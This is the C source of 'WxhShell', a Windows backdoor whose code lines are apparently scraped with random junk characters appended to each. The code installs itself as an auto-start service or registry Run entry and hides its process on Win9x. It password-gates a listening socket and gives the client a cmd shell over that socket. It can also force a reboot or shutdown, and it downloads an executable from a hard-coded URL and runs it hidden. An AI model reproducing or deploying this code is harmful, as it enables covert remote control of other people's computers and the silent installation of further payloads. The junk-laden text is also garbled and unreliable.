    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ; ,}Dh/&E  
    if(Boot(SHUTDOWN)) Z%Fc -KVt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%%e$o+  
    else { 3_ly"\I\  
    closesocket(wsh); "ze-Mb  
    ExitThread(0); ;_=N YG.  
    } PU,%Y_xR  
    break; `/O AgV"`  
    } a$j ~YUG_  
  // 获取shell )qRH?Hsb7  
  case 's': { "Ccyj/  
    CmdShell(wsh); 16ZyLt  
    closesocket(wsh); `Gj(>z*  
    ExitThread(0); f{.4# C'  
    break; N; '] &f  
  } njc-=o  
  // 退出 RR+{uSO,t  
  case 'x': { B[k=6EU8k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <D[0mi0  
    CloseIt(wsh); ]OtnekkK$  
    break; ]"&](e6*  
    } 4[(NxXH8M  
  // 离开 I>GBnx L  
  case 'q': { rz0)S py6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); en'"" w  
    closesocket(wsh); wRvh/{xB  
    WSACleanup(); uzI=.j  
    exit(1); u"uL,w 1-  
    break; (3"N~\9m  
        } %.m+6 zaF  
  } ZTibF'\5N  
  } 1<Sg@  
f14^VTzP/#  
  // 提示信息 RA!q)/ +  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sx[ eX,q  
} P6&%`$  
  } ZfH +Iqd  
ua)jGif  
  return; ^v `naA(  
} ftG3!}  
o] Xt2E  
// shell模块句柄 41x"Q?.bY  
int CmdShell(SOCKET sock) a'-u(Bw  
{ d:k n%L6k_  
STARTUPINFO si; ae2Q^yLA  
ZeroMemory(&si,sizeof(si)); lYTQg~aPm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X$;&Mdo.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [~u&#!*W  
PROCESS_INFORMATION ProcessInfo; f4 qVUU  
char cmdline[]="cmd"; lLp,sNAj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :r@t'  
  return 0; (6.uNLr  
} ^?$,sS ;Q  
_1NK9dp:  
// 自身启动模式 'zM=[#!B  
int StartFromService(void) [}YUi>NGA  
{ Q6W![571;  
typedef struct -OSj<m<  
{ ^DN:.qQ  
  DWORD ExitStatus; 8L,=Eap  
  DWORD PebBaseAddress; %@Z;;5L  
  DWORD AffinityMask; FpiTQC7d  
  DWORD BasePriority; b8e\(Dww  
  ULONG UniqueProcessId; hJ$9Hb  
  ULONG InheritedFromUniqueProcessId; M+0PEf.  
}   PROCESS_BASIC_INFORMATION; \n t~K}a  
0'Si ^>bW  
PROCNTQSIP NtQueryInformationProcess; Z,/K$;YWo  
<^\rv42'(2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j)2I+[aoB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T8|5%Y  
&iInru3  
  HANDLE             hProcess; D8<C7  
  PROCESS_BASIC_INFORMATION pbi; fz\Q>u'T  
UXlZI'|He  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); puJB&u"4L  
  if(NULL == hInst ) return 0; ":_II[FPY  
IH;sVT $M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d)e mTXB(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `0N7Gc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g"Y _!)X  
<(q(5jG  
  if (!NtQueryInformationProcess) return 0;  ]'`E  
PR Mg6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &s='$a; 4  
  if(!hProcess) return 0; UWF \Vx*)b  
QYMfxpiC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yo=L1; H  
Bz<hP*.O  
  CloseHandle(hProcess); ZRG Cy5Rk  
P&uSh?[ ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )-26(aNGT  
if(hProcess==NULL) return 0; 7IkPi?&{  
H.m]Dm,z  
HMODULE hMod; !JDr58  
char procName[255]; |ZL?Pqki  
unsigned long cbNeeded; {2h *NFp  
b!P,+!<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ dFE.4  
=3 .dgtH  
  CloseHandle(hProcess); r*+~(83k  
~=*o  
if(strstr(procName,"services")) return 1; // 以服务启动 q1T)H2S  
->rqr#  
  return 0; // 注册表启动 s`jlE|jtN  
} n.&7lg^X  
SO=gG 2E  
// 主模块 w6i2>nu_O  
int StartWxhshell(LPSTR lpCmdLine) ryVYY> *(K  
{ b^VRpv  
  SOCKET wsl; V 9Qt;]mQ  
BOOL val=TRUE; byxlC?q7  
  int port=0; [,;e ,ld  
  struct sockaddr_in door; q< XFw-Pv  
\ZZ6r^99  
  if(wscfg.ws_autoins) Install(); 5c` ;~  
. vb##D  
port=atoi(lpCmdLine); -N*[f9EJB  
mol,iM*l  
if(port<=0) port=wscfg.ws_port; zr /v.$<  
HG;;M6  
  WSADATA data; "pM >TMAE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `(FjOd K  
gsbr8zwG,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =&z+7Pe[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v>]g="5}8  
  door.sin_family = AF_INET; @G" nkB   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QN#"c  
  door.sin_port = htons(port); :)~l3:O  
a+E 8s7C/D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .; F<X \_  
closesocket(wsl); lo$G*LWu:  
return 1; -qc'J<*^4  
} a9-Mc5^'n  
NPK;  
  if(listen(wsl,2) == INVALID_SOCKET) { A0<g8pv  
closesocket(wsl); $@L;j  
return 1; Voo'ZeZa  
} nQ\`]_C  
  Wxhshell(wsl); SZF 8InyF  
  WSACleanup(); ^2~ZOP$A  
Kk8wlC  
return 0; 8"j$=T6;W  
c["1t1G  
} q[\3,Y  
)#m{"rk[x,  
// 以NT服务方式启动 ,<U= 7<NU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 98Vv K?  
{ #yochxF_  
DWORD   status = 0; f)*?Ji|5F  
  DWORD   specificError = 0xfffffff; vwT1bw.  
dPEDsG0$a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5p#0K@`n/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ESCN/ocV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q`1tUd4G  
  serviceStatus.dwWin32ExitCode     = 0; #kv9$  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Vi_~b  
  serviceStatus.dwCheckPoint       = 0; 6TW<,SM  
  serviceStatus.dwWaitHint       = 0; ] `$6=) _X  
>%tP"x{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :^]Po$fl  
  if (hServiceStatusHandle==0) return; $5i\D rs  
9WG=3!-@  
status = GetLastError(); ,/?J!W@m  
  if (status!=NO_ERROR) AwZ@)0Wy  
{ $mPR)T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uOv<*Jld*  
    serviceStatus.dwCheckPoint       = 0; ZWCsrV*;  
    serviceStatus.dwWaitHint       = 0; a fa\6]m  
    serviceStatus.dwWin32ExitCode     = status; *:CTIV5N0  
    serviceStatus.dwServiceSpecificExitCode = specificError; !igPyhi,hl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @&m [w'tn  
    return; D,cD]tB2  
  } v@{y}  
bo=H-d|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~rV$.:%va  
  serviceStatus.dwCheckPoint       = 0; dHY@V> D'-  
  serviceStatus.dwWaitHint       = 0; PA^*|^;Xh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); > SZ95@Oh  
} ;5/Se"Nd  
mfj{_fR3  
// 处理NT服务事件,比如:启动、停止 X"TL'"?fo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z\|<h=EU  
{ uU)t_W&-J  
switch(fdwControl) q]="ek&_  
{ E:9RskI  
case SERVICE_CONTROL_STOP: &}u_e`A  
  serviceStatus.dwWin32ExitCode = 0; w: BJ4bi=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ._0$#J S[  
  serviceStatus.dwCheckPoint   = 0; 5S4Nx>  
  serviceStatus.dwWaitHint     = 0; j EbmW*   
  { 1|p\rHGd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <sC(a7i1  
  } fQ9af)d  
  return; )zWu\ JRp  
case SERVICE_CONTROL_PAUSE: (Mfqzy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TIp\-  
  break; .u A O.<  
case SERVICE_CONTROL_CONTINUE: %`$bQU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z2W&_(^.h  
  break; l iY/BkpH  
case SERVICE_CONTROL_INTERROGATE: @g[ijs\  
  break; Ov(k:"N  
}; h Wt_}'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xn"#Zy_  
} vVBWhY]  
efyEzL  
// 标准应用程序主函数 >(2;(TbQm0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q}_8iDO6  
{ ) P7oL.)  
\ ERBb.  
// 获取操作系统版本 <\~@l^lU  
OsIsNt=GetOsVer(); +IXr4M&3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ls2,+yo]>  
Z84w9y7O<  
  // 从命令行安装 d*TH$-F!p  
  if(strpbrk(lpCmdLine,"iI")) Install(); b|87=1^m[  
S>5w=RK   
  // 下载执行文件 *fY*Wy9  
if(wscfg.ws_downexe) { eF;Jj>\R+i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) # 9bw'm  
  WinExec(wscfg.ws_filenam,SW_HIDE); "A[. 7w  
} {v!w2p@  
=&g:dX|q8  
if(!OsIsNt) { @[D5{v)S  
// 如果时win9x,隐藏进程并且设置为注册表启动 C,ldi"|  
HideProc(); lGet)/w;c  
StartWxhshell(lpCmdLine); ZW))Mx#K=T  
} E7$ aT^  
else LI-ewea  
  if(StartFromService()) tG]W!\C'h  
  // 以服务方式启动 [Qr_0O  
  StartServiceCtrlDispatcher(DispatchTable); un\o&0}  
else ^d>m`*px  
  // 普通方式启动 [ !~8TF  
  StartWxhshell(lpCmdLine); .&u @-Vm  
^Cp;#|g,  
return 0; <DqFfrpc  
} zq5N@d F  
6oWFjeZ0  
|s#,^SJ0  
t^bh2 $J  
=========================================== iJZvVs',  
:"Vmy.xq  
di;~$rI!?  
B|syb!g  
Bz{"K  
/?>W\bP<  
" An]Vx<PD  
-Nr*na^H9#  
#include <stdio.h> #m{F*(%  
#include <string.h> 6Po {tKU  
#include <windows.h> g6gwNC:aF  
#include <winsock2.h> KfK5e{yT  
#include <winsvc.h> 0{!-h  
#include <urlmon.h> /`qQWB5b  
;Gu(Yoa}y  
#pragma comment (lib, "Ws2_32.lib") RSe av  
#pragma comment (lib, "urlmon.lib") n1x3q/~  
Vf(..8  
#define MAX_USER   100 // 最大客户端连接数 a U<+ `  
#define BUF_SOCK   200 // sock buffer h5vetci/  
#define KEY_BUFF   255 // 输入 buffer 6R2F,b(_  
MO1H?U hx  
#define REBOOT     0   // 重启 (\'lV8}U  
#define SHUTDOWN   1   // 关机 E.B6u, Te  
A'uubFRL2[  
#define DEF_PORT   5000 // 监听端口 *>GRU8_}  
%U[H`E  
#define REG_LEN     16   // 注册表键长度 8XCT[X  
#define SVC_LEN     80   // NT服务名长度 D3O)Tj@:}(  
^]/V-!j  
// 从dll定义API '8 ^cl:X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #T>pu/EQX_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kB?Uw#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -lfbn =3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {rF9[S"h  
}_}LaEYAo  
// wxhshell配置信息 dF&@q,  
struct WSCFG { DEPsud;  
  int ws_port;         // 监听端口 A/Sj>Y1j  
  char ws_passstr[REG_LEN]; // 口令 N7q6pBA"E  
  int ws_autoins;       // 安装标记, 1=yes 0=no B90fUK2g  
  char ws_regname[REG_LEN]; // 注册表键名 {\h:k\k  
  char ws_svcname[REG_LEN]; // 服务名 &`'@}o>2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?wIw$p>wT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bvl!^xO]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )|]*"yf:E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iII%!f?{[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qdy/KL1]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F$s:\ N  
HbCcROl(  
}; $7O3+R/=  
~A(^<  
// default Wxhshell configuration p CeCR  
struct WSCFG wscfg={DEF_PORT, #]*d8  
    "xuhuanlingzhe", X4k|k>  
    1, 'O 7>w%#  
    "Wxhshell", i_y%HG  
    "Wxhshell", n&Q0V.  
            "WxhShell Service", DRVvC~M-,  
    "Wrsky Windows CmdShell Service", n482?Wp  
    "Please Input Your Password: ", Rd@?2)Xm  
  1, *]Eyf")  
  "http://www.wrsky.com/wxhshell.exe", sZ"(#g;3<  
  "Wxhshell.exe" (F#2z\$;  
    }; D4{<~/oBv  
LmKY$~5P  
// 消息定义模块 2H1?f|0>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `Gg,oCQg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5p7i9"tgn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KO))2GET  
char *msg_ws_ext="\n\rExit."; e[QEOx/-h2  
char *msg_ws_end="\n\rQuit."; HSACaTVK  
char *msg_ws_boot="\n\rReboot..."; /W{^hVkvC  
char *msg_ws_poff="\n\rShutdown..."; w,1*dn  
char *msg_ws_down="\n\rSave to "; XCGK&O GI  
0Fs2* FS  
char *msg_ws_err="\n\rErr!"; "JgwL_2  
char *msg_ws_ok="\n\rOK!"; _Q*,~ z~  
OL.{lKJ3DV  
char ExeFile[MAX_PATH]; 7Xh ;dJAF3  
int nUser = 0; +~xzgaL  
HANDLE handles[MAX_USER]; ,y)V5 c1  
int OsIsNt; T|--ZRYn  
i@=(Y~tD`  
SERVICE_STATUS       serviceStatus; YCG $GD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cU "uKR  
0|mC k  
// 函数声明 BtF7P}:MGf  
int Install(void); `nd$6i^#W  
int Uninstall(void); s+0S,?{$  
int DownloadFile(char *sURL, SOCKET wsh); "Qk)EY  
int Boot(int flag); .sZ"|j9m  
void HideProc(void); Wm!cjGK  
int GetOsVer(void); \ 5#eBJ  
int Wxhshell(SOCKET wsl); IRsyy\[kp8  
void TalkWithClient(void *cs); 5_rx$avm  
int CmdShell(SOCKET sock); /vLW{%  
int StartFromService(void); DH])Q5  
int StartWxhshell(LPSTR lpCmdLine); .aC/ g?U  
7Y 4!   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G#.q%Up  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (Wn^~-`=+  
Xz'o<S  
// 数据结构和表定义 p-6T,')  
SERVICE_TABLE_ENTRY DispatchTable[] = G[zVGqk  
{ SM.KM_%K  
{wscfg.ws_svcname, NTServiceMain}, L}t P_ *  
{NULL, NULL} I9sQPa  
}; .bNG:y>  
=GC,1WVEqV  
// 自我安装 :f0#4'f  
int Install(void) ' $"RQ=  
{ 5C5OLAl v  
  char svExeFile[MAX_PATH]; U ?6.UtNf  
  HKEY key; NqN}] nu6  
  strcpy(svExeFile,ExeFile); gq.l=xS  
*$Z?Owl7  
// 如果是win9x系统,修改注册表设为自启动 Aot9^@4])  
if(!OsIsNt) { nx5I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q]Af I(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D1wONss  
  RegCloseKey(key); 0>ce~KU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -]Aqt/w"l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -T>i5'2)  
  RegCloseKey(key); +DYsBCVbag  
  return 0; 8)YDUE%VH  
    } E g_ram`\R  
  } iE^=Vf;  
} O0sLcuT$  
else { vSwRj<|CF  
(~?p`g+I.P  
// 如果是NT以上系统,安装为系统服务 "6i3'jc`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OgCz[QXr_  
if (schSCManager!=0) *~`BG5w  
{ Ed1y%mR>  
  SC_HANDLE schService = CreateService O_v*,L!  
  ( 8-x)8B  
  schSCManager, B|r'  
  wscfg.ws_svcname, SL`nt  
  wscfg.ws_svcdisp, Lv<vMIr  
  SERVICE_ALL_ACCESS, ,#j'~-5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^MvBW6#1  
  SERVICE_AUTO_START, !d1a9los  
  SERVICE_ERROR_NORMAL, _W>xFBy  
  svExeFile, HnKXO  
  NULL, QVkrhwp  
  NULL, e. R9:  
  NULL, ggy9euWV  
  NULL, 9`7>" [=P  
  NULL di37   
  ); 1YtK+,mz  
  if (schService!=0) lLS7K8;4W  
  { a: F\4x=  
  CloseServiceHandle(schService); !iW> xo  
  CloseServiceHandle(schSCManager); 8Y/1+-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %m-U:H.Vp  
  strcat(svExeFile,wscfg.ws_svcname); y N,grU(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @iN"]GFjS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +.QJZo_  
  RegCloseKey(key); YRU95K [  
  return 0; H'&[kgnQ@  
    } /25Ay  
  } s133N?  
  CloseServiceHandle(schSCManager); 0xfF  
} 7\yh<?`V8  
} k +Cwnp  
&"^U=f@v  
return 1; `7R-2 w<b?  
} b8glZb*$  
gKtgW&PYm  
// 自我卸载 =X7_!vSv  
int Uninstall(void) $ByP 9=|  
{ a`>H69(bU  
  HKEY key; <T]ey  
TQ=HFs ~  
if(!OsIsNt) { 0B: v0 R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KtHkLYOCG  
  RegDeleteValue(key,wscfg.ws_regname); ]`M2Kwp  
  RegCloseKey(key); "Cs36k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -,2CMS#N  
  RegDeleteValue(key,wscfg.ws_regname); .aR9ulS  
  RegCloseKey(key); z7TyS.z  
  return 0; 6w[EJ;=p_  
  } wOsg,p;\'  
} I{=Yuc  
}  45WJb+$  
else { fg4mP_  
U*?`tdXJ$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zn[ppsz|  
if (schSCManager!=0) JX{_,2*$  
{ <>)N$$Rx&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _PSOT5{  
  if (schService!=0) .br6x ^\<  
  { 2OQ\ z;s  
  if(DeleteService(schService)!=0) { |#'n VN.;  
  CloseServiceHandle(schService); kT:I.,N   
  CloseServiceHandle(schSCManager); }Eh &'  
  return 0; O&,8X-Ix  
  } hw(\3h()  
  CloseServiceHandle(schService); [2E(3`-u  
  } 'xEK0~awD  
  CloseServiceHandle(schSCManager); F< XOt3VY.  
} QW tDZ>  
} (e0(GOqf4  
KC)}M zt6_  
return 1; r-.>3J  
} YrV@k*O*  
d</F6aM\  
// 从指定url下载文件 E;[Uhh|78!  
int DownloadFile(char *sURL, SOCKET wsh) dT[JVl+3=  
{ pTXF^:8  
  HRESULT hr; A0:rn\$l3  
char seps[]= "/"; W#=,FZT  
char *token; W1EYVXN  
char *file; N1B$z3E *  
char myURL[MAX_PATH]; XK})?LTD  
char myFILE[MAX_PATH]; Keem \/  
ZJ.an%4  
strcpy(myURL,sURL); SMzq,?-`  
  token=strtok(myURL,seps); m xqY  
  while(token!=NULL) <'N:K@Cs  
  { </u=<^ire  
    file=token; *QV"o{V  
  token=strtok(NULL,seps); ambr}+}  
  } z+-o}i  
%"eR0Lj+zq  
GetCurrentDirectory(MAX_PATH,myFILE); %D5F7wB  
strcat(myFILE, "\\"); ZvMU3])u  
strcat(myFILE, file); _54gqD2C,  
  send(wsh,myFILE,strlen(myFILE),0); } !y5hv!_  
send(wsh,"...",3,0); LD1&8kJ*l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pc2!OQC'""  
  if(hr==S_OK) UtP|<]{  
return 0; -Jw4z# /-  
else ,[)l>!0\H  
return 1; M:b#">M  
=4l @A>  
} )BvMFwQG  
Hf\sF(, (  
// 系统电源模块 v?Utz~lQ  
int Boot(int flag) gu+zfvkcY  
{  6su~SPh  
  HANDLE hToken; |<5F08]v  
  TOKEN_PRIVILEGES tkp; Fm,` ]CO  
`j(._`8%a  
  if(OsIsNt) { /R&h#;l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O1S7t)ag  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CH&{x7$he  
    tkp.PrivilegeCount = 1; ml<tH2Qx3C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .Z  67  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y^ |u'XK  
if(flag==REBOOT) { ],k~t5+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ][ IOlR  
  return 0; 9@yF7  
} sRA2O/yKCE  
else { P_w4 DU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  tH44\~  
  return 0; >6HGh#0(p  
} a4*976~![  
  } p6R+t]oH  
  else { mO;QT  
if(flag==REBOOT) { I<ohh`.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %^L{K[}  
  return 0; w.a9}GC  
} d?T!)w  
else { b5LToy:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Y5LAt:  
  return 0; -(]C FnD_N  
} f!`? _  
} N)G HQlgH  
G(TFv\`vH  
return 1; b&mA1w[W]  
} )c{>@WM~  
3ie k >'T  
// win9x进程隐藏模块 RYjK4xT?Y/  
void HideProc(void) }b&lHr'Uw  
{ ?VmgM"'md  
oV0T   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9K/EteS  
  if ( hKernel != NULL )  2Y23!hw  
  { |w}j!}u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dN)8r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oDMPYkpTu  
    FreeLibrary(hKernel); 2&>t,;v@  
  } 4,z|hY_*t  
}!oEjcX'  
return; N=KtW?C  
} XPO-u]<W  
6]Hwr_/tk  
// 获取操作系统版本 45 sEhs[$  
int GetOsVer(void) CqlxE/|  
{ Y?NL|cW4  
  OSVERSIONINFO winfo; $Dj8 a\L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W Su6chz)  
  GetVersionEx(&winfo); kpIn_Ea  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z%]K,9K  
  return 1; r|u[36NmA  
  else zR?R,k)m  
  return 0; jRU: un4  
} N*}soMPV^.  
N68$b#9Ry  
// 客户端句柄模块 k`8O/J  
int Wxhshell(SOCKET wsl) t4_yp_  
{ ?J2A1iuq3  
  SOCKET wsh; kt2_WW[  
  struct sockaddr_in client; =J IceLL  
  DWORD myID; z7bJV/f  
eTvWkpK+  
  while(nUser<MAX_USER) ;+E]F8G9r  
{ '7sf)0\:<p  
  int nSize=sizeof(client); PJC(:R(j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); < -`.u`  
  if(wsh==INVALID_SOCKET) return 1; ,%*UF6B M  
BX0lk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $h{m")]  
if(handles[nUser]==0) :^3) [.m  
  closesocket(wsh); ;rT'~?q  
else Y:ly x-lj  
  nUser++; e=OHO,74z"  
  } $lJcC |*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /=m AVA  
(yq e 4  
  return 0; DJ,LQj  
} [g/D<g5O  
z_ $c_J  
// 关闭 socket g2|Myz)  
void CloseIt(SOCKET wsh) pD%(Y^h?  
{ :S0!  
closesocket(wsh); 5;/n`Bd  
nUser--; CW &z?Bra  
ExitThread(0); #y:D{%Wp  
} g8##Be  
ca_mift  
// 客户端请求句柄 "CJ~BJI%  
void TalkWithClient(void *cs) _Hv+2E[4Z  
{ PR.3EL  
,*XB11P  
  SOCKET wsh=(SOCKET)cs; v.-DXQq  
  char pwd[SVC_LEN]; >>P5 4|&  
  char cmd[KEY_BUFF]; <u!cdYo@  
char chr[1]; Ds">eNq  
int i,j; kP ]Up&'  
lA5Dag'  
  while (nUser < MAX_USER) { n^4R]9U  
2CzhaO  
if(wscfg.ws_passstr) { ;|5-{+2U%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $9,&BW_*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  LgNIb  
  //ZeroMemory(pwd,KEY_BUFF); &W@2n&U.q  
      i=0; ^z{szy?Fg  
  while(i<SVC_LEN) { z$%twBg}#  
eIkKsgr>  
  // 设置超时 UucI>E3?P{  
  fd_set FdRead; X/~uF 9a'<  
  struct timeval TimeOut; b"h'7C/  
  FD_ZERO(&FdRead); Jbu2y'zE  
  FD_SET(wsh,&FdRead); bqcCA9 1  
  TimeOut.tv_sec=8; AEyvljv  
  TimeOut.tv_usec=0; ]u|fLK.|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b5NVQ8Mq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8F}drK9>F  
'I]XX==_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )!"fUz$  
  pwd=chr[0]; +-!E% $  
  if(chr[0]==0xd || chr[0]==0xa) { S\A/*!%~y  
  pwd=0; X2|~(*  
  break; U g"W6`  
  } (I >Ch)'  
  i++; 7)lEZJK&T  
    } m-Eh0Zl>Z  
dz_S6o ]  
  // 如果是非法用户,关闭 socket R*[sO*h\k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vgwpuRL5b  
} UHZuH?|@  
{~U3|_"[pX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yH/A9L,Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .e~"+Pe6b  
}UhYwJf89  
while(1) { &xnQLz:#  
vF27+/2+R  
  ZeroMemory(cmd,KEY_BUFF); XnyN*}8  
QKG3>lU  
      // 自动支持客户端 telnet标准   ]||b2[*  
  j=0; ))"gWO  
  while(j<KEY_BUFF) { 3:+9H}Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;]dD\4_hK  
  cmd[j]=chr[0]; 'C[tPP  
  if(chr[0]==0xa || chr[0]==0xd) { gQn%RPMh  
  cmd[j]=0; :$WO"HfMSn  
  break; 'FErk~}/4s  
  } %fj5 ;}E.  
  j++; j6m;03<|  
    } [4z,hob  
p#@#$u-  
  // 下载文件 VfoWPyWD#  
  if(strstr(cmd,"http://")) { 3^sbbm.8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5;a*Xf%V  
  if(DownloadFile(cmd,wsh)) IO%kXF.[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #EPC]jFk  
  else -YA,Stc-  
